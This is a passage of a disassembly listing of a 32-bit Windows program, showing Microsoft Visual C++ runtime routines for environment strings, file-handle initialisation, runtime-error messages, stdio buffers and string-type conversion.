		jz	short loc_41D39D
		cmp	dl, 9
		jz	short loc_41D39D


loc_41D363:				; CODE XREF: sub_41D209+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41D397
		test	esi, esi
		jz	short loc_41D386
		movzx	ebx, dl
		test	byte_46CB81[ebx], 4
		jz	short loc_41D37F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41D37F:				; CODE XREF: sub_41D209+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D395
; ---------------------------------------------------------------------------


loc_41D386:				; CODE XREF: sub_41D209+162j
		movzx	edx, dl
		test	byte_46CB81[edx], 4
		jz	short loc_41D395
		inc	eax
		inc	dword ptr [ecx]


loc_41D395:				; CODE XREF: sub_41D209+17Bj
					; sub_41D209+187j
		inc	dword ptr [ecx]


loc_41D397:				; CODE XREF: sub_41D209+15Ej
		inc	eax
		jmp	loc_41D2F5
; ---------------------------------------------------------------------------


loc_41D39D:				; CODE XREF: sub_41D209+148j
					; sub_41D209+153j ...
		test	esi, esi
		jz	short loc_41D3A5
		and	byte ptr [esi],	0
		inc	esi


loc_41D3A5:				; CODE XREF: sub_41D209+196j
		inc	dword ptr [ecx]
		jmp	loc_41D2C3
; ---------------------------------------------------------------------------


loc_41D3AC:				; CODE XREF: sub_41D209+BDj
					; sub_41D209+D5j
		test	edi, edi
		jz	short loc_41D3B3
		and	dword ptr [edi], 0


loc_41D3B3:				; CODE XREF: sub_41D209+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41D209	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BD	proc near		; CODE XREF: seg001:00417B97p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_46B7F0
		push	ebx
		push	ebp
		mov	ebp, dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41D40B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41D3EC
		mov	dword_46B7F0, 1
		jmp	short loc_41D414
; ---------------------------------------------------------------------------


loc_41D3EC:				; CODE XREF: sub_41D3BD+21j
		call	dword_421040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D4E6
		mov	dword_46B7F0, 2
		jmp	loc_41D49A
; ---------------------------------------------------------------------------


loc_41D40B:				; CODE XREF: sub_41D3BD+19j
		cmp	eax, 1
		jnz	loc_41D495


loc_41D414:				; CODE XREF: sub_41D3BD+2Dj
		cmp	esi, ebx
		jnz	short loc_41D424
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41D4E6


loc_41D424:				; CODE XREF: sub_41D3BD+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41D439


loc_41D42B:				; CODE XREF: sub_41D3BD+73j
					; sub_41D3BD+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D42B
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D42B


loc_41D439:				; CODE XREF: sub_41D3BD+6Cj
		sub	eax, esi
		mov	edi, dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41D48A
		push	ebp
		call	sub_415BE9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41D48A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41D486
		push	[esp+18h+var_8]
		call	sub_415C9B
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41D486:				; CODE XREF: sub_41D3BD+B9j
		mov	ebx, [esp+18h+var_8]


loc_41D48A:				; CODE XREF: sub_41D3BD+99j
					; sub_41D3BD+A8j
		push	esi
		call	dword_421044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41D4E8
; ---------------------------------------------------------------------------


loc_41D495:				; CODE XREF: sub_41D3BD+51j
		cmp	eax, 2
		jnz	short loc_41D4E6


loc_41D49A:				; CODE XREF: sub_41D3BD+49j
		cmp	edi, ebx
		jnz	short loc_41D4AA
		call	dword_421040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41D4E6


loc_41D4AA:				; CODE XREF: sub_41D3BD+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41D4BA


loc_41D4B0:				; CODE XREF: sub_41D3BD+F6j
					; sub_41D3BD+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D4B0
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D4B0


loc_41D4BA:				; CODE XREF: sub_41D3BD+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41D4D0
		xor	esi, esi
		jmp	short loc_41D4DB
; ---------------------------------------------------------------------------


loc_41D4D0:				; CODE XREF: sub_41D3BD+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4153F0
		add	esp, 0Ch


loc_41D4DB:				; CODE XREF: sub_41D3BD+111j
		push	edi
		call	dword_4211A8	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41D4E8
; ---------------------------------------------------------------------------


loc_41D4E6:				; CODE XREF: sub_41D3BD+39j
					; sub_41D3BD+61j ...
		xor	eax, eax


loc_41D4E8:				; CODE XREF: sub_41D3BD+D6j
					; sub_41D3BD+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41D3BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4EF	proc near		; CODE XREF: seg001:00417B87p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41D50F
		push	1Bh
		call	sub_417C0E
		pop	ecx


loc_41D50F:				; CODE XREF: sub_41D4EF+16j
		mov	dword_46C960, esi
		mov	dword_46CA60, 20h
		lea	eax, [esi+100h]


loc_41D525:				; CODE XREF: sub_41D4EF+52j
		cmp	esi, eax
		jnb	short loc_41D543
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_46C960
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41D525
; ---------------------------------------------------------------------------


loc_41D543:				; CODE XREF: sub_41D4EF+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_421164	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41D61F
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41D61F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41D579
		mov	esi, eax


loc_41D579:				; CODE XREF: sub_41D4EF+86j
		cmp	dword_46CA60, esi
		jge	short loc_41D5D3
		mov	edi, offset dword_46C964


loc_41D586:				; CODE XREF: sub_41D4EF+DAj
		push	100h
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CD
		add	dword_46CA60, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41D5A4:				; CODE XREF: sub_41D4EF+CFj
		cmp	eax, ecx
		jnb	short loc_41D5C0
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41D5A4
; ---------------------------------------------------------------------------


loc_41D5C0:				; CODE XREF: sub_41D4EF+B7j
		add	edi, 4
		cmp	dword_46CA60, esi
		jl	short loc_41D586
		jmp	short loc_41D5D3
; ---------------------------------------------------------------------------


loc_41D5CD:				; CODE XREF: sub_41D4EF+A4j
		mov	esi, dword_46CA60


loc_41D5D3:				; CODE XREF: sub_41D4EF+90j
					; sub_41D4EF+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41D61F


loc_41D5D9:				; CODE XREF: sub_41D4EF+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D616
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41D616
		test	cl, 8
		jnz	short loc_41D5F8
		push	eax
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41D616


loc_41D5F8:				; CODE XREF: sub_41D4EF+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46C960[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41D616:				; CODE XREF: sub_41D4EF+EFj
					; sub_41D4EF+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41D5D9


loc_41D61F:				; CODE XREF: sub_41D4EF+65j
					; sub_41D4EF+71j ...
		xor	ebx, ebx


loc_41D621:				; CODE XREF: sub_41D4EF+195j
		mov	eax, dword_46C960
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41D67C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41D63C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41D646
; ---------------------------------------------------------------------------


loc_41D63C:				; CODE XREF: sub_41D4EF+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41D646:				; CODE XREF: sub_41D4EF+14Bj
		push	eax
		call	dword_421034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41D66B
		push	edi
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41D66B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41D671


loc_41D66B:				; CODE XREF: sub_41D4EF+163j
					; sub_41D4EF+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41D680
; ---------------------------------------------------------------------------


loc_41D671:				; CODE XREF: sub_41D4EF+17Aj
		cmp	eax, 3
		jnz	short loc_41D680
		or	byte ptr [esi+4], 8
		jmp	short loc_41D680
; ---------------------------------------------------------------------------


loc_41D67C:				; CODE XREF: sub_41D4EF+13Ej
		or	byte ptr [esi+4], 80h


loc_41D680:				; CODE XREF: sub_41D4EF+180j
					; sub_41D4EF+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41D621
		push	dword_46CA60
		call	dword_421038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41D4EF	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6A4	proc near		; DATA XREF: seg001:00417B22o
					; sub_41AF25+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D744
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D6D7:				; CODE XREF: sub_41D6A4+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D73D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D72B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D72B
		js	short loc_41D736
		mov	edi, [ebx+8]
		push	ebx
		call	sub_416200
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_416242
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4162D6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D72B:				; CODE XREF: sub_41D6A4+40j
					; sub_41D6A4+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D6D7
; ---------------------------------------------------------------------------


loc_41D736:				; CODE XREF: sub_41D6A4+54j
		mov	eax, 0
		jmp	short loc_41D759
; ---------------------------------------------------------------------------


loc_41D73D:				; CODE XREF: sub_41D6A4+36j
		mov	eax, 1
		jmp	short loc_41D759
; ---------------------------------------------------------------------------


loc_41D744:				; CODE XREF: sub_41D6A4+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_416242
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D759:				; CODE XREF: sub_41D6A4+97j
					; sub_41D6A4+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D6A4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_416242
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41D77C	proc near		; CODE XREF: sub_417C0E+9p
					; sub_417C33+9p
		mov	eax, dword_46B688
		cmp	eax, 1
		jz	short loc_41D793
		test	eax, eax
		jnz	short locret_41D7B4
		cmp	dword_437F14, 1
		jnz	short locret_41D7B4


loc_41D793:				; CODE XREF: sub_41D77C+8j
		push	0FCh
		call	sub_41D7B5
		mov	eax, dword_46B7F4
		pop	ecx
		test	eax, eax
		jz	short loc_41D7A9
		call	eax


loc_41D7A9:				; CODE XREF: sub_41D77C+29j
		push	0FFh
		call	sub_41D7B5
		pop	ecx

locret_41D7B4:				; CODE XREF: sub_41D77C+Cj
					; sub_41D77C+15j
		retn
sub_41D77C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7B5	proc near		; CODE XREF: sub_417C0E+12p
					; sub_417C33+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43A5A8


loc_41D7C8:				; CODE XREF: sub_41D7B5+20j
		cmp	edx, [eax]
		jz	short loc_41D7D7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43A638
		jl	short loc_41D7C8


loc_41D7D7:				; CODE XREF: sub_41D7B5+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43A5A8[esi]
		jnz	loc_41D905
		mov	eax, dword_46B688
		cmp	eax, 1
		jz	loc_41D8DF
		test	eax, eax
		jnz	short loc_41D808
		cmp	dword_437F14, 1
		jz	loc_41D8DF


loc_41D808:				; CODE XREF: sub_41D7B5+44j
		cmp	edx, 0FCh
		jz	loc_41D905
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_42107C	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41D83F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx


loc_41D83F:				; CODE XREF: sub_41D7B5+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_415B10
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41D882
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415B10
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_416BE0
		add	esp, 10h


loc_41D882:				; CODE XREF: sub_41D7B5+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_415A20
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_A0]
		push	offset asc_421B70 ; "\n\n"
		push	eax
		call	sub_415A30
		push	off_43A5AC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415A30
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41EF8E
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DF:				; CODE XREF: sub_41D7B5+3Cj
					; sub_41D7B5+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43A5AC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415B10
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_421034	; GetStdHandle
		push	eax
		call	dword_421070	; WriteFile


loc_41D905:				; CODE XREF: sub_41D7B5+2Ej
					; sub_41D7B5+59j ...
		pop	esi
		leave
		retn
sub_41D7B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D908	proc near		; CODE XREF: sub_417C57+6Cp
					; sub_41C178+32p ...

arg_0		= dword	ptr  4

		inc	dword_46B7F8
		push	1000h
		call	sub_415BE9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D931
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D942
; ---------------------------------------------------------------------------


loc_41D931:				; CODE XREF: sub_41D908+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D942:				; CODE XREF: sub_41D908+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D908	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D94C	proc near		; CODE XREF: sub_417C57+61p
					; sub_4187D6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_46CA60
		jb	short loc_41D95B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D95B:				; CODE XREF: sub_41D94C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46C960[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D94C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D972	proc near		; DATA XREF: seg001:00423020o
		mov	eax, dword_46C940
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D986
		mov	eax, 200h
		jmp	short loc_41D98C
; ---------------------------------------------------------------------------


loc_41D986:				; CODE XREF: sub_41D972+Bj
		cmp	eax, esi
		jge	short loc_41D991
		mov	eax, esi


loc_41D98C:				; CODE XREF: sub_41D972+12j
		mov	dword_46C940, eax


loc_41D991:				; CODE XREF: sub_41D972+16j
		push	4
		push	eax
		call	sub_41F017
		pop	ecx
		mov	dword_46B928, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D9C5
		push	4
		push	esi
		mov	dword_46C940, esi
		call	sub_41F017
		pop	ecx
		mov	dword_46B928, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D9C5
		push	1Ah
		call	sub_417C0E
		pop	ecx


loc_41D9C5:				; CODE XREF: sub_41D972+30j
					; sub_41D972+49j
		xor	ecx, ecx
		mov	eax, offset off_43A638


loc_41D9CC:				; CODE XREF: sub_41D972+6Ej
		mov	edx, dword_46B928
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43A8B8
		jl	short loc_41D9CC
		xor	edx, edx
		mov	ecx, offset dword_43A648


loc_41D9E9:				; CODE XREF: sub_41D972+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_46C960[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DA06
		test	eax, eax
		jnz	short loc_41DA09


loc_41DA06:				; CODE XREF: sub_41D972+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41DA09:				; CODE XREF: sub_41D972+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43A6A8
		jl	short loc_41D9E9
		pop	esi
		retn
sub_41D972	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA17	proc near		; DATA XREF: seg001:00423030o

; FUNCTION CHUNK AT 0041F0C8 SIZE 00000058 BYTES

		call	sub_418760
		cmp	byte_46B674, 0
		jz	short locret_41DA2A
		jmp	loc_41F0C8
; ---------------------------------------------------------------------------

locret_41DA2A:				; CODE XREF: sub_41DA17+Cj
		retn
sub_41DA17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA2B	proc near		; CODE XREF: sub_417D6C+2D4p
					; sub_417D6C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41DA37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA37:				; CODE XREF: sub_41DA2B+8j
		cmp	dword_46B6CC, 0
		jnz	short loc_41DA52
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41DA84
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA52:				; CODE XREF: sub_41DA2B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43812C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_46B6DC
		call	dword_421138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DA84
		cmp	[ebp+arg_0], 0
		jz	short loc_41DA91


loc_41DA84:				; CODE XREF: sub_41DA2B+1Ej
					; sub_41DA2B+51j
		mov	dword_46B634, 2Ah
		or	eax, 0FFFFFFFFh


loc_41DA91:				; CODE XREF: sub_41DA2B+57j
		pop	ebp
		retn
sub_41DA2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA93	proc near		; CODE XREF: sub_418576+5Ep
					; sub_41CA9C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421BB0
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_46B7FC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DB02
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4218A0
		push	esi
		call	dword_421028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41DAE0
		mov	eax, esi
		jmp	short loc_41DAFD
; ---------------------------------------------------------------------------


loc_41DAE0:				; CODE XREF: sub_41DA93+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43B198
		push	esi
		push	ebx
		call	dword_42102C	; GetStringTypeA
		test	eax, eax
		jz	loc_41DBC8
		push	2
		pop	eax


loc_41DAFD:				; CODE XREF: sub_41DA93+4Bj
		mov	dword_46B7FC, eax


loc_41DB02:				; CODE XREF: sub_41DA93+2Fj
		cmp	eax, 2
		jnz	short loc_41DB2B
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41DB13
		mov	eax, dword_46B6CC


loc_41DB13:				; CODE XREF: sub_41DA93+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_42102C	; GetStringTypeA
		jmp	loc_41DBCA
; ---------------------------------------------------------------------------


loc_41DB2B:				; CODE XREF: sub_41DA93+72j
		cmp	eax, 1
		jnz	loc_41DBC8
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41DB41
		mov	eax, dword_46B6DC
		mov	[ebp+arg_10], eax


loc_41DB41:				; CODE XREF: sub_41DA93+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41DBC8
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415390
		add	esp, 0Ch
		jmp	short loc_41DB97
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41DB97:				; CODE XREF: sub_41DA93+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41DBC8
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_421064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41DBC8
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_421028	; GetStringTypeW
		jmp	short loc_41DBCA
; ---------------------------------------------------------------------------


loc_41DBC8:				; CODE XREF: sub_41DA93+61j
					; sub_41DA93+9Bj ...
		xor	eax, eax


loc_41DBCA:				; CODE XREF: sub_41DA93+93j
					; sub_41DA93+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA93	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBDC	proc near		; CODE XREF: sub_41DDF6:loc_41DF6Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46C960


loc_41DBEB:				; CODE XREF: sub_41DBDC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41DC28
		lea	edx, [eax+100h]


loc_41DBF7:				; CODE XREF: sub_41DBDC+28j
		cmp	eax, edx
		jnb	short loc_41DC17
		test	byte ptr [eax+4], 1
		jz	short loc_41DC06
		add	eax, 8
		jmp	short loc_41DBF7
; ---------------------------------------------------------------------------


loc_41DC06:				; CODE XREF: sub_41DBDC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41DC6B


loc_41DC17:				; CODE XREF: sub_41DBDC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46CA60
		jl	short loc_41DBEB
		jmp	short loc_41DC6B
; ---------------------------------------------------------------------------


loc_41DC28:				; CODE XREF: sub_41DBDC+13j
		mov	esi, 100h
		push	esi
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		jz	short loc_41DC6B
		add	dword_46CA60, 20h
		lea	ecx, ds:46C960h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41DC4E:				; CODE XREF: sub_41DBDC+88j
		cmp	eax, edx
		jnb	short loc_41DC66
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41DC4E
; ---------------------------------------------------------------------------


loc_41DC66:				; CODE XREF: sub_41DBDC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41DC6B:				; CODE XREF: sub_41DBDC+39j
					; sub_41DBDC+4Aj ...
		pop	edi
		mov	eax, ebx
